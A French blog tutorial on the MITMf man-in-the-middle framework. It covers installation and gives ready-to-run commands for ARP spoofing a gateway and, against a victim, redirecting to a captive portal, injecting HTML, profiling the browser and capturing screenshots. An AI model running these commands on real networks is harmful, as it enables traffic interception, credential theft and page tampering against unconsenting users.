MITMF : Man in the Middle Framework

Une attaque «Man in the Middle» (MITM) se produit lorsqu’on se met au milieu d’une communication entre deux parties, afin d’espionner/modifier cette communication.

https://phoenixnap.com/blog/man-in-the-middle-attacks-prevention

Il existe plusieurs logiciels qui facilitent la construction de cette attaque, par exemple Ettercap qui a pour but d’intercepter le trafic sur un segment de réseau afin de capturer les mots de passe. Mais ils restent limités et difficiles à utiliser. Dans ce contexte, nous allons découvrir le MITMF qui vient pour résoudre ces problèmes.

Qu’est ce que MITMF ?

Dans le but de combler les faiblesses d’outils utilisés pour réaliser des attaques MITM telles qu’Ettercap, Man in the middle Framework (MITMF) a été réécrit de zéro pour mettre en place un ensemble de modules qui facilite la réalisation de différents types d’attaques sur différents protocoles applicatifs ou réseau : ARP, FTP, POP, IMAP, HTTP, etc. Il est disponible en tant que projet GITHub.

Caractéristiques

MITMF est composé d’un serveur HTTP, DNS et SMB utilisé par les différents modules, ainsi qu’une version modifiée du proxy SSLStrip qui permet la modification HTTP et un contournement HSTS partiel dont son principe est d’attribuer une période de temps durant laquelle un agent utilisateur peut accéder au serveur d’une façon sécurisée.

La particularité de ce Framework est qu’il peut capturer les mots de passe et nom d’authentification lors des échanges avec plusieurs protocoles tels que FTP , POP, IMAP, Telnet, SMTP, etc ainsi que tout autre protocole semblable à HTTP, SMB (un protocole permettant le partage de ressources sur des réseaux locaux avec des PC sous Windows) ou LDAP (un protocole permettant l’interrogation et la modification d’un annuaire).

Dans sa version 0.9.8, MITMF a été configuré pour supporter la manipulation et le filtrage actif de paquets, ce qui permet de modifier n’importe quel type de trafic ou protocole. En effet , nous aurons la possibilité de modifier le fichier de configuration par exemple la modification des paramètres des serveurs, les options des modules … tant que le Framework est en fonction.

Installation

Afin d’installer MITMF nous aurons besoin d’utiliser un environnement virtuel python afin d’éviter les conflits de permission avec les paquets du système.

  • Dépendances nécessaires
    • python-dev
    • python-setuptools
    • libpcap 8,0
    • libnetfilter-queue-dev
    • libssl-dev
    • libjpeg-dev
    • libxml2-dev
    • libxslt1-dev
    • libcapstone3
    • libcapstone-dev
  • Commande d’installation des dépendances (pour Linux)
apt-get install python-dev python-setuptoolslibpcap0.8-devlibnetfilter-queue-dev libssl-dev libjpeg-devlibxml2-devlibxslt1-dev libcapstone3 libcapstone-dev
  • Commande d’installation du paquet virtualwrapper (python)
pip install virtualenvwrapper

Le paquet virtualwrapper va nous permettre de placer tous nos environnements virtuels dans un seul endroit. Mais avant de l’installer il faut s’assurer que virtualenv (un outil pour créer des environnements virtuels Python isolés) est déjà installé.

  • Configuration du fichier virtualenvwrapper.sh

Ensuite, il faut éditer le fichier de configuration de Shell virtualenvwrapper.sh avec la commande source pour lier le script d’environnement virtuel à notre Shell. L’emplacement du
script peut être différent selon la distribution de votre système.

source ./.local/bin/virtualenvwrapper.sh
  • Récupération des fichiers nécessaires à l’installation du Framework
git clone https://github.com/byt3bl33d3r/MITMf
  • Initialiser et cloner les sous-répertoires
cd MITMf && git submodule init && git submodule update --recursive
  • Installer les dépendances de MITMF(python)
pip install -r requirements.txt

Après avoir installé l’environnement et les dépendances nécessaires, on peut lancer MITMF.
Avec la commande python mitmf.py --help, vous obtiendrez une aide explicative sur le fonctionnement des plugins et des options du Framework.

python mitmf.py --help

Mise en œuvre

  • Redirection

Dans cet exemple, nous allons utiliser un plugin de MITMF qui va nous permettre de mettre en place une attaque de redirection.Pour cela nous allons utiliser cette commande en précisant adresse IP de la passerelle de notre réseau, et l’URL de notre site de redirection en utilisant le module --captive.

sudo python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.43.1  --captive --portalurl https://whiteflagfr.wordpress.com
Et voilà le résultat obtenu, on peut remarquer la redirection de notre victime sur le site souhaité.
  • Injection de code HTML

Dans cet exemple, nous allons utiliser le module --inject qui nous permet de réaliser une injection du code (par exemple une page html, du code script,..) dans le réseau de notre victime.

python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.43.1 --inject --html-file '/var/www/html/injection.html'
-i est pour l'interface (wlp3s0 dans cet exemple)
--Spoof Charge le plugin 'Spoof'
--arp Rediriger le trafic à l'aide de l'usurpation ARP
--gateway GATEWAY Spécifiez l'IP de la passerelle sur votre réseau.
--targets TARGETS Spécifiez les hôtes à empoisonner [par défaut sous-réseau]
--inject Charger le plugin 'Inject' pour injecter injection.html
  • Module BrowserProfiler

Le module BrowserProfiler va nous permettre de profiler le moteur de recherche de notre victime.

python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.48.1 --browserprofiler
  • Module ScreenShooter

Le module --screen va nous permettre de prendre des screens de l’écran de notre victime.

python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.43.1 --screen

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.